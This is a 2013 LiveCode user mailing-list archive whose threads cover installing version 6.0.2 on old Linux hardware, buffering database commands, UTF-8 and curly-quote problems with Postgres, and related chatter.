http://lists.runrev.com/mailman/listinfo/use-livecode From sc at sahores-conseil.com Sun May 26 05:31:31 2013 From: sc at sahores-conseil.com (Pierre Sahores) Date: Sun, 26 May 2013 11:31:31 +0200 Subject: Installing 6.0.2 OSS In-Reply-To: <1DCBDDB9-55E7-4B64-A906-2BDAC9F76D1C@numericable.com> References: <51A10C71.3040109@gmail.com> <1DCBDDB9-55E7-4B64-A906-2BDAC9F76D1C@numericable.com> Message-ID: Hi Ren?, naturally available in both versions ;D Pierre Le 26 mai 2013 ? 11:26, Ren? Micout a ?crit : > Hello everybody, > Is 6.0.2 commercial or community version ? > RM > > Le 25 mai 2013 ? 21:09, Richmond a ?crit : > >> I have just installed LC 6.0.2 OSS on Ubuntu 8.04.3 >> >> "So what?" I hear you say. >> >> Because that Ubuntu 8.04 was running on a Pentium III >> with 256 MB RAM. >> >> "So what? How long is Richmond going to wibble on in this vein?" >> >> A LONG TIME Because the Open Source Version of Livecode >> is all about empowering many people who do not have >> buckets of moolah to run fancy right-up-to-date machines. >> >> Oh, and, while I'm here: I connected my favourite monitor >> of all time that I fished out of a dumpster in front of a >> supermarket in Scotland 9 years ago. >> >> Richmond. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From revolution at derbrill.de Sun May 26 07:38:03 2013 From: revolution at derbrill.de (Malte Brill) Date: Sun, 26 May 2013 13:38:03 +0200 Subject: AnimationEngine pending messages In-Reply-To: References: Message-ID: <8B8F5543-4B47-4A02-B675-87AD4F87BBE7@derbrill.de> Hey Tom, Should be adding an aeCancelAllAEMessages command? Sounds like something that could be useful? Cheers, Malte -- derbrill IT-service Malte Pfaff-Brill Tanneneck 2, d-24790 Ostenfeld Tel: +49 4331-337 640 0 eMail: info at derbrill.de web: http://www.derbrill.de Steuernummer: 28 015 03865 VAT ID: DE223571286 From rene.micout at numericable.com Sun May 26 08:46:19 2013 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Sun, 26 May 2013 14:46:19 +0200 Subject: Installing 6.0.2 OSS In-Reply-To: References: <51A10C71.3040109@gmail.com> <1DCBDDB9-55E7-4B64-A906-2BDAC9F76D1C@numericable.com> Message-ID: <796E19B0-63BC-47C7-8356-50D8AB618F54@numericable.com> Merci Pierre ! Le 26 mai 2013 ? 11:31, Pierre Sahores a ?crit : > Hi Ren?, > > naturally available in both versions ;D > > Pierre > > Le 26 mai 2013 ? 11:26, Ren? Micout a ?crit : > >> Hello everybody, >> Is 6.0.2 commercial or community version ? >> RM From palcibiades-first at yahoo.co.uk Sun May 26 08:52:43 2013 From: palcibiades-first at yahoo.co.uk (Peter Alcibiades) Date: Sun, 26 May 2013 05:52:43 -0700 (PDT) Subject: Installing 6.0.2 OSS In-Reply-To: <51A10C71.3040109@gmail.com> References: <51A10C71.3040109@gmail.com> Message-ID: <1369572763635-4665454.post@n4.nabble.com> The other really encouraging thing is that you don't even need anything as 'heavy' as Ubuntu. I haven't checked recently, but the last time I tried, LC ran fine on Slitaz, 150Mb or so? which takes almost no memory or disk space. If you want to make an embedded free system its the way to go. -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Installing-6-0-2-OSS-tp4665433p4665454.html Sent from the Revolution - User mailing list archive at Nabble.com. From mcgrath3 at mac.com Sun May 26 08:58:39 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Sun, 26 May 2013 08:58:39 -0400 Subject: AnimationEngine pending messages In-Reply-To: <8B8F5543-4B47-4A02-B675-87AD4F87BBE7@derbrill.de> References: <8B8F5543-4B47-4A02-B675-87AD4F87BBE7@derbrill.de> Message-ID: <755ABB06-2F9B-4B89-83B8-2C3FA5D4BA43@mac.com> Malte, All I can say is that when I was working on this project it seemed to be a natural thing to look for. Every time I would go to a new card the same scripts would run and animate "image 1" but If I went to the next card before the current card animation was done it would then build up on top of the new cards animation of image 1. So when I specifically targeted the name of image 1 (which was different on each card) then it no longer built up. In this case it would have been a no brainer that when I wanted to skip quickly through the cards that I could clear the messages from the previous cards animation sequence. Thanks Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 26, 2013, at 7:38 AM, Malte Brill wrote: > Hey Tom, > > Should be adding an aeCancelAllAEMessages command? Sounds like something that could be useful? > > Cheers, > > Malte > -- > derbrill IT-service Malte Pfaff-Brill > Tanneneck 2, d-24790 Ostenfeld > Tel: +49 4331-337 640 0 > eMail: info at derbrill.de web: http://www.derbrill.de > Steuernummer: 28 015 03865 VAT ID: DE223571286 > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Sun May 26 12:33:44 2013 From: pete at lcsql.com (Peter Haworth) Date: Sun, 26 May 2013 09:33:44 -0700 Subject: thinking through parsing multi-line database commands with cr in the data In-Reply-To: References: Message-ID: I'd be inclined to have a handler to execute/buffer the SQL statements based on what type of db is in use. For example you could have a handler dbCommand which took SQL statements as a parameter. If the DB is SQLite, the handler would execute the statement immediately. If some other version of SQL, it would buffer up the statement in a global or script local. You could use the BEGIN statement to clear the buffer and the COMMIT statement to signify that the block of statements was complete and should be executed. As far as the issue of cr's in data, that's a problem whether you're buffering commands or not. I long since switched over to using the "variableslist" option of the various rev database commands, usually with an array rather than a variable, since it completely avoids the problem of cr's, escaping quotes, etc. And it protects against SQL injection which would seem to be an important issue for you since you're handling sensitive information over the internet. Pete lcSQL Software On Sat, May 25, 2013 at 10:49 AM, Dr. Hawkins wrote: > I'm still kind of thinking aloud on this, and don't want to shoot my foot > clean off. > > I'm developing with the ipad version in mind for the future, too. > > My preferred db will be postgres, with mysql as an alternate (if I don't > keep tripping across it's "whoops!"s). However, for performance reasons > (as well as the demo & single use versions working without having to > install a db server!), it will be necessary to support sqlite as well, > keeping the local db. > > I'm writting a wrapper to take multiple commands, and possibly an > update/sync command, which could be to the table in the same or another db. > > If I'm feeding postgres/mysql, I can have a begin/update this/insert > that/commit sequence, no problem. > > SQLite, though, seems to have at least sporadic issues with multi-line > command blocks, and may need them sent one at a time. > > What I'm scratching my brain for is "unpeeling" a multi-command block where > the data will usually include cr. > > All I'm coming up with so far is putting a line in, and testing for things > like "INSERT INTO" "UPDATE" and any other command I use on the next line to > see if it is indeed a new line, and otherwise appending to the current > working line. > > But this will trip up on, for example, an address like: > > Joe Scmoe, President > Update your mac! > 123 E. Main St. > > > Or am I (hopefully) missing an obvious solution (other than dump sqlite :) > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dochawk at gmail.com Sun May 26 13:30:04 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sun, 26 May 2013 10:30:04 -0700 Subject: curlyquotes, character sets, livecode, and english Message-ID: I can't believe that this one flummoxed me as long as it did. SQLite, like the honeybadger, just don't care . . . I got hung up on a curlyquote. I'll definitely have people pasting in from whatever sources, possibly the wrong one for the platform (ever read from mac or unix a web page written by someone who thinks that MS word is a standard?). There is no possibility of my application ever being used in an application other than English. For that matter, there is no possibility of it being used in a non-US country. postgres chokes on character 213, as an illegal utf8. The simple solution seems to be to filter any input based on the host OS, turning it into utf8. But what about the mac user who pastes from an ms data, or the ms who pastes from a webpage. Is there a "sane" way to turn english text into a single usable format? I'd be tempted to go pure 7 bit ascii, but there's enough names with extra characters it doesn't support to make this a non-starter. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dsc at swcp.com Sun May 26 13:54:51 2013 From: dsc at swcp.com (Dar Scott) Date: Sun, 26 May 2013 11:54:51 -0600 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: Message-ID: UTF8 is one of the "languages" of uniEncode and uniDecode functions. Maybe you can convert to and from UTF8 as you need. Or pull unicode out of the field and convert that. Character 213 is the first of a two byte sequence in UTF8, so a bubble-gum and tinfoil solution for that lone character would be to force a valid byte behind it and then remove it when you need. This a bit ugly (I am hesitant to mention it) but it might have some advantages in your application. Dar On May 26, 2013, at 11:30 AM, Dr. Hawkins wrote: > I can't believe that this one flummoxed me as long as it did. > > SQLite, like the honeybadger, just don't care . . . > > I got hung up on a curlyquote. > > I'll definitely have people pasting in from whatever sources, possibly the > wrong one for the platform (ever read from mac or unix a web page written > by someone who thinks that MS word is a standard?). > > There is no possibility of my application ever being used in an application > other than English. > > For that matter, there is no possibility of it being used in a non-US > country. > > postgres chokes on character 213, as an illegal utf8. > > The simple solution seems to be to filter any input based on the host OS, > turning it into utf8. > > But what about the mac user who pastes from an ms data, or the ms who > pastes from a webpage. > > Is there a "sane" way to turn english text into a single usable format? > > I'd be tempted to go pure 7 bit ascii, but there's enough names with extra > characters it doesn't support to make this a non-starter. > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Sun May 26 14:13:56 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 26 May 2013 21:13:56 +0300 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: Message-ID: <51A250E4.9040307@gmail.com> On 05/26/2013 08:30 PM, Dr. Hawkins wrote: > I can't believe that this one flummoxed me as long as it did. > > SQLite, like the honeybadger, just don't care . . . > > I got hung up on a curlyquote. > > I'll definitely have people pasting in from whatever sources, possibly the > wrong one for the platform (ever read from mac or unix a web page written > by someone who thinks that MS word is a standard?). > > There is no possibility of my application ever being used in an application > other than English. Really? > > For that matter, there is no possibility of it being used in a non-US > country. Missouri German. Texas German. Amish Swiss German (steam-driven computer perhaps). Mexican Spanish. Louisiana French. Haight-Ashbury LSD-driven gobbledegook (pace Tom Sharp's "All Electric Kool-Aid Acid Test - wow, that book really rocked my socks). Gullah. Yiddish. US English with 'funny names' such as N?el (and, just in case !!!! that's a capital 'n' followed by an 'o' with 2 dots over the top). And as someone who speaks 'Scots' as well as various types of 'English' [to the English 'Scots' is a very odd dialect of English; to the Scots Scots is either 'Hame Inglis', 'Lallans' or 'Scots'] I would like to remind you that what is one (wo)man's English is another (wo)man's foreign tongue. An wi that scrieve, aiblins thou wilt ken quhat Ahm speirin eftir! Richmond. > > postgres chokes on character 213, as an illegal utf8. > > The simple solution seems to be to filter any input based on the host OS, > turning it into utf8. > > But what about the mac user who pastes from an ms data, or the ms who > pastes from a webpage. > > Is there a "sane" way to turn english text into a single usable format? > > I'd be tempted to go pure 7 bit ascii, but there's enough names with extra > characters it doesn't support to make this a non-starter. > From jacque at hyperactivesw.com Sun May 26 14:26:02 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sun, 26 May 2013 13:26:02 -0500 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: <51A250E4.9040307@gmail.com> References: <51A250E4.9040307@gmail.com> Message-ID: <51A253BA.9000608@hyperactivesw.com> On 5/26/13 1:13 PM, Richmond wrote: > On 05/26/2013 08:30 PM, Dr. Hawkins wrote: >> There is no possibility of my application ever being used in an >> application >> other than English. > > Really? > >> >> For that matter, there is no possibility of it being used in a non-US >> country. > > Missouri German. > > Texas German. > > Amish Swiss German (steam-driven computer perhaps). > > Mexican Spanish. > > Louisiana French. > > Haight-Ashbury LSD-driven gobbledegook (pace Tom Sharp's "All Electric > Kool-Aid Acid Test - wow, that book really rocked my socks). > > Gullah. > > Yiddish. On the other hand, he's a US lawyer writing an app for other US lawyers that concerns US law. If someone got through law school speaking only Yiddish, they probably cheated. :) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From richmondmathewson at gmail.com Sun May 26 14:41:37 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 26 May 2013 21:41:37 +0300 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: <51A253BA.9000608@hyperactivesw.com> References: <51A250E4.9040307@gmail.com> <51A253BA.9000608@hyperactivesw.com> Message-ID: <51A25761.2010004@gmail.com> On 05/26/2013 09:26 PM, J. Landman Gay wrote: > On 5/26/13 1:13 PM, Richmond wrote: >> On 05/26/2013 08:30 PM, Dr. Hawkins wrote: >>> There is no possibility of my application ever being used in an >>> application >>> other than English. >> >> Really? >> >>> >>> For that matter, there is no possibility of it being used in a non-US >>> country. >> >> Missouri German. >> >> Texas German. >> >> Amish Swiss German (steam-driven computer perhaps). >> >> Mexican Spanish. >> >> Louisiana French. >> >> Haight-Ashbury LSD-driven gobbledegook (pace Tom Sharp's "All Electric >> Kool-Aid Acid Test - wow, that book really rocked my socks). >> >> Gullah. >> >> Yiddish. > > On the other hand, he's a US lawyer writing an app for other US > lawyers that concerns US law. If someone got through law school > speaking only Yiddish, they probably cheated. :) > What I really wanted to say was that a very large part of the U.S. population have other languages "lurking" in their backgrounds and may use words which they believe to be English but might not be. For instance, today my wife was making some Tarator and asked me to nip down the stair to the garden for mint. So' slipping on my shoen, I went down the stair intil the garden and picked some mint and returned. Now apart from the rather obvious Bulgarian word for that really fantastic yoghurt soup [ http://www.food.com/recipe/tarator-bulgarian-cold-cucumber-soup-62181 ] there are 3 words there that, so my well-informed friends tell me are odd: First, the word "stair" which my local well-meaning English friend tells me means what I mean when I say "step", and in English -English is used in the plural (i.e. 'stairs') to mean what I mean by 'stair'. Secondly, he had a problem with 'shoen' (well, to be direct, he didnae ken the vocable), and when I waved my baffies at him he got all hoity-toity and said that those were 'shoes'. Thirdly, the yob nearly punched me when I said 'intil' . . . anyway, you should get what I was ettlin eftir by now. I don't know what is wrang with that jumped-up Englishman, as my Chambers English Dictionary has 'intil' as an English word. Frankly the whole thing is mishugger! Richmond. From dsc at swcp.com Sun May 26 15:12:23 2013 From: dsc at swcp.com (Dar Scott) Date: Sun, 26 May 2013 13:12:23 -0600 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: <51A253BA.9000608@hyperactivesw.com> References: <51A250E4.9040307@gmail.com> <51A253BA.9000608@hyperactivesw.com> Message-ID: On May 26, 2013, at 12:26 PM, J. Landman Gay wrote: > On the other hand, he's a US lawyer writing an app for other US lawyers that concerns US law. These come to mind: Paragraph sign: U+00B6 ? Section sign: U+00A7 ? And then there are "IP" symbols, currency symbols, Latin ligatures, ... (There might even be a case of lawyers with these: ? ?) Dar (PS: That was my awkward attempt at a lawyer joke. Those characters are call scruples.) From richmondmathewson at gmail.com Sun May 26 16:02:18 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 26 May 2013 23:02:18 +0300 Subject: Transparent palettes with 6.0.2 on Linux Message-ID: <51A26A4A.2010309@gmail.com> Just now I had a "funny thing": editing my SCHEDULER stack which I use for timetabling my EFL school I tried to close the stack prefs palette and it turned into a transparent shadow of its former self. Subsequently, trying to open the prefs palette for a textField I ended up with the same 'ghost' of a prefs palette. That's on Linux: I wonder if the same thing is happening on Windows and Mac? Don't have time to find out just now, but will try to find time tomorrow. Richmond. From richmondmathewson at gmail.com Sun May 26 16:04:42 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 26 May 2013 23:04:42 +0300 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: <51A250E4.9040307@gmail.com> <51A253BA.9000608@hyperactivesw.com> Message-ID: <51A26ADA.8030106@gmail.com> On 05/26/2013 10:12 PM, Dar Scott wrote: > On May 26, 2013, at 12:26 PM, J. Landman Gay wrote: >> On the other hand, he's a US lawyer writing an app for other US lawyers that concerns US law. > These come to mind: > > Paragraph sign: U+00B6 ? > Section sign: U+00A7 ? > > And then there are "IP" symbols, currency symbols, Latin ligatures, ... > > (There might even be a case of lawyers with these: ? ?) > > Dar > > > (PS: That was my awkward attempt at a lawyer joke. Those characters are call scruples.) Have you tried the Yoghurt Soup yet? Bags of room for legal wrangles there as the Turks, Lebanese, Bulgarians, Albanians, Macedonians, Persians (and does that mean Iraqis or Iranians?) to name just a few, claim it as their own. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Sun May 26 16:33:52 2013 From: pete at lcsql.com (Peter Haworth) Date: Sun, 26 May 2013 13:33:52 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: Message-ID: I'm not very familiar with postgresql but I'm having a hard time believing that it can't handle UTF-8 encoding. Typically, the character encoding is specified when you create a database or when you create a table within a database, and there are usually admin commands that reveal what encoding is being used, so I'd start by checking the encoding. SQLite supports UTF-8 encoding by default so no dounbt that's why you didn't have any problems with it but maybe you have to specifically enable it for postgresql. Pete lcSQL Software On Sun, May 26, 2013 at 10:30 AM, Dr. Hawkins wrote: > I can't believe that this one flummoxed me as long as it did. > > SQLite, like the honeybadger, just don't care . . . > > I got hung up on a curlyquote. > > I'll definitely have people pasting in from whatever sources, possibly the > wrong one for the platform (ever read from mac or unix a web page written > by someone who thinks that MS word is a standard?). > > There is no possibility of my application ever being used in an application > other than English. > > For that matter, there is no possibility of it being used in a non-US > country. > > postgres chokes on character 213, as an illegal utf8. > > The simple solution seems to be to filter any input based on the host OS, > turning it into utf8. > > But what about the mac user who pastes from an ms data, or the ms who > pastes from a webpage. > > Is there a "sane" way to turn english text into a single usable format? > > I'd be tempted to go pure 7 bit ascii, but there's enough names with extra > characters it doesn't support to make this a non-starter. > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bvg at mac.com Sun May 26 17:32:22 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Sun, 26 May 2013 23:32:22 +0200 Subject: Dictionary woes In-Reply-To: <51A114D0.4070504@gmail.com> References: <51A114D0.4070504@gmail.com> Message-ID: <2AB01E29-D1BF-4529-AFE9-80E0045109B9@mac.com> weeellll... I'm not xD On 25.05.2013, at 21:45, Richmond wrote: > Everybody should be really glad that > the dictionary problem that occurred with 6.0.1 > seems to have been sorted out. > > Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From dochawk at gmail.com Sun May 26 17:38:57 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sun, 26 May 2013 14:38:57 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: <51A250E4.9040307@gmail.com> References: <51A250E4.9040307@gmail.com> Message-ID: On Sun, May 26, 2013 at 11:13 AM, Richmond wrote: > On 05/26/2013 08:30 PM, Dr. Hawkins wrote: > >> > There is no possibility of my application ever being used in an application >> other than English. >> > > Really? > Really. Unless Congress mandates that Bankruptcies be field in foreign languages . . . Under the current code, filings must be in English (just like any other court pleading). > For that matter, there is no possibility of it being used in a non-US > >> country. >> > > Missouri German. > > Texas German. > > Amish Swiss German (steam-driven computer perhaps). > > Use English, or no bankruptcy. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Sun May 26 17:41:44 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sun, 26 May 2013 14:41:44 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: Message-ID: On Sun, May 26, 2013 at 10:54 AM, Dar Scott wrote: > UTF8 is one of the "languages" of uniEncode and uniDecode functions. > Maybe you can convert to and from UTF8 as you need. Or pull unicode out > of the field and convert that. > > Character 213 is the first of a two byte sequence in UTF8, so a bubble-gum > and tinfoil solution for that lone character would be to force a valid byte > behind it and then remove it when you need. This a bit ugly (I am hesitant > to mention it) but it might have some advantages in your application. > I'm trying to figure out where they're even coming from! The 213 wasn't utf, but either a mac curlyquote or section symbol (?). I don't *think* that two byte codes should be coming out of a normal mac set to english . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Sun May 26 18:01:39 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sun, 26 May 2013 15:01:39 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: Message-ID: On Sun, May 26, 2013 at 2:41 PM, Dr. Hawkins wrote: > > I don't *think* that two byte codes should be coming out of a normal mac > set to english . . . > Hmm, to narrow this: I just need something that livecode & postgres can agree upon. With the proviso that people are likely to be pasting into my livecode fields -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Sun May 26 18:02:06 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sun, 26 May 2013 15:02:06 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: Message-ID: On Sun, May 26, 2013 at 3:01 PM, Dr. Hawkins wrote: > Hmm, to narrow this: I just need something that livecode & postgres can > agree upon. With the proviso that people are likely to be pasting into my > livecode fields > Hmm, and it also needs to be something that openoffice can interpret when it pulls from a db. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dsc at swcp.com Sun May 26 18:03:58 2013 From: dsc at swcp.com (Dar Scott) Date: Sun, 26 May 2013 16:03:58 -0600 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: Message-ID: <467E634F-24D1-4BAD-8556-72AE708DD34E@swcp.com> I think I may have misunderstood the problem. If your db wants UTF8 and you have Mac, then maybe you can convert Mac to UTF8. If you say a Mac string is UTF8 (when it is not) and something checks, then it will interpret numToChar(213) as the first byte of a two-byte sequence. If the next byte is not in the right range for continuation bytes in a UTF8 multibyte sequence (128 to 191) then UTF8 checking will fail. ASCII is valid UTF8, so if you limit yourself to characters 7-bits, then that should be OK. Dar On May 26, 2013, at 3:41 PM, Dr. Hawkins wrote: > On Sun, May 26, 2013 at 10:54 AM, Dar Scott wrote: > >> UTF8 is one of the "languages" of uniEncode and uniDecode functions. >> Maybe you can convert to and from UTF8 as you need. Or pull unicode out >> of the field and convert that. >> >> Character 213 is the first of a two byte sequence in UTF8, so a bubble-gum >> and tinfoil solution for that lone character would be to force a valid byte >> behind it and then remove it when you need. This a bit ugly (I am hesitant >> to mention it) but it might have some advantages in your application. >> > > I'm trying to figure out where they're even coming from! > > The 213 wasn't utf, but either a mac curlyquote or section symbol (?). > > I don't *think* that two byte codes should be coming out of a normal mac > set to english . . . > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Sun May 26 18:17:41 2013 From: dsc at swcp.com (Dar Scott) Date: Sun, 26 May 2013 16:17:41 -0600 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: Message-ID: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> I'm guessing that openoffice can do full UTF8, or at least the BMP (the main group of characters). Maybe the easiest thing is to allow full Unicode in your fields. Then convert that to UTF8 and back for the db. I think folks can help with that. Embrace Unicode. An alternative is to tell the db what character set you are using and the same with openoffice. Dar On May 26, 2013, at 4:02 PM, Dr. Hawkins wrote: > On Sun, May 26, 2013 at 3:01 PM, Dr. Hawkins wrote: > >> Hmm, to narrow this: I just need something that livecode & postgres can >> agree upon. With the proviso that people are likely to be pasting into my >> livecode fields >> > > Hmm, and it also needs to be something that openoffice can interpret when > it pulls from a db. > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Sun May 26 21:57:31 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sun, 26 May 2013 18:57:31 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> Message-ID: On Sun, May 26, 2013 at 3:17 PM, Dar Scott wrote: > Embrace Unicode. > ???? I'm still leary about 8 bit rather than 7 bit Heck, I've barely given up on 6 bit. And color displays, well . . . :) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dsc at swcp.com Sun May 26 22:23:31 2013 From: dsc at swcp.com (Dar Scott) Date: Sun, 26 May 2013 20:23:31 -0600 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> Message-ID: Ha! I did start out with 6 bit characters on the CDC 3300, but my sense of identity is with ASCII which I used in my tiny contribution to the computer revolution of the 70s. I coped by leaping over other character considerations right to Unicode. Dar (Grandpa ASCII) On May 26, 2013, at 7:57 PM, Dr. Hawkins wrote: > On Sun, May 26, 2013 at 3:17 PM, Dar Scott wrote: > >> Embrace Unicode. >> > > > ???? > > I'm still leary about 8 bit rather than 7 bit > > Heck, I've barely given up on 6 bit. > > And color displays, well . . . > > :) > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jhj at jhj.com Sun May 26 22:42:54 2013 From: jhj at jhj.com (Jerry Jensen) Date: Sun, 26 May 2013 19:42:54 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> Message-ID: <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> Nobody say EBCDIC or I will be sad. On May 26, 2013, at 7:23 PM, Dar Scott wrote: > Ha! I did start out with 6 bit characters on the CDC 3300, but my sense of identity is with ASCII which I used in my tiny contribution to the computer revolution of the 70s. > > I coped by leaping over other character considerations right to Unicode. > > Dar > (Grandpa ASCII) > > > > On May 26, 2013, at 7:57 PM, Dr. Hawkins wrote: > >> On Sun, May 26, 2013 at 3:17 PM, Dar Scott wrote: >> >>> Embrace Unicode. >>> >> >> >> ???? >> >> I'm still leary about 8 bit rather than 7 bit >> >> Heck, I've barely given up on 6 bit. >> >> And color displays, well . . . >> >> :) >> >> -- >> Dr. Richard E. Hawkins, Esq. >> (702) 508-8462 >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Mon May 27 01:56:04 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Sun, 26 May 2013 22:56:04 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> Message-ID: Let's go FIVE bit. How about Baudot? On Sun, May 26, 2013 at 7:42 PM, Jerry Jensen wrote: > Nobody say EBCDIC or I will be sad. > > On May 26, 2013, at 7:23 PM, Dar Scott wrote: > > > Ha! I did start out with 6 bit characters on the CDC 3300, but my sense > of identity is with ASCII which I used in my tiny contribution to the > computer revolution of the 70s. > > > > I coped by leaping over other character considerations right to Unicode. > > > > Dar > > (Grandpa ASCII) > > > > > > > > On May 26, 2013, at 7:57 PM, Dr. Hawkins wrote: > > > >> On Sun, May 26, 2013 at 3:17 PM, Dar Scott wrote: > >> > >>> Embrace Unicode. > >>> > >> > >> > >> ???? > >> > >> I'm still leary about 8 bit rather than 7 bit > >> > >> Heck, I've barely given up on 6 bit. > >> > >> And color displays, well . . . > >> > >> :) > >> > >> -- > >> Dr. Richard E. Hawkins, Esq. > >> (702) 508-8462 > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From rman at free.fr Mon May 27 05:23:14 2013 From: rman at free.fr (Robert Mann) Date: Mon, 27 May 2013 02:23:14 -0700 (PDT) Subject: Odin down ? In-Reply-To: References: Message-ID: <1369646594796-4665477.post@n4.nabble.com> Again! monday 27th... trouble to get via Interachy cannot identify my on-rev server on odin, no ip found. It did work all right last week ! is it me or? -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Odin-down-tp4664725p4665477.html Sent from the Revolution - User mailing list archive at Nabble.com. From rabit at 